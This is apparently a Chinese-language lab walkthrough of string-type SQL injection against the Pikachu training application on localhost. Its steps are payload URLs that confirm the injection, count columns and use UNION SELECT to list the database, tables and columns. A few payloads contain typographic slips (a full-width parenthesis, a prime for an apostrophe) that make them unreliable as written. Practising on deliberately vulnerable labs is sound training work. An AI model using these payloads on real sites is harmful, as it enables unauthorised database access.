1.检测注入类型

http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2    #不报错
http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1'&submit=%E6%9F%A5%E8%AF%A2    #报错
http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1'--+&submit=%E6%9F%A5%E8%AF%A2    #不报错

 2.判断字段数

http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1'order by 2--+&submit=%E6%9F%A5%E8%AF%A2

3.暴库

http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1'UNION SELECT 1,2--+&submit=%E6%9F%A5%E8%AF%A2

4.查数据库

http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1'UNION SELECT 1,database（）--+&submit=%E6%9F%A5%E8%AF%A2

5.查表

http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1′ UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&submit=%E6%9F%A5%E8%AF%A2

6.查列

http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1′ UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&submit=%E6%9F%A5%E8%AF%A2
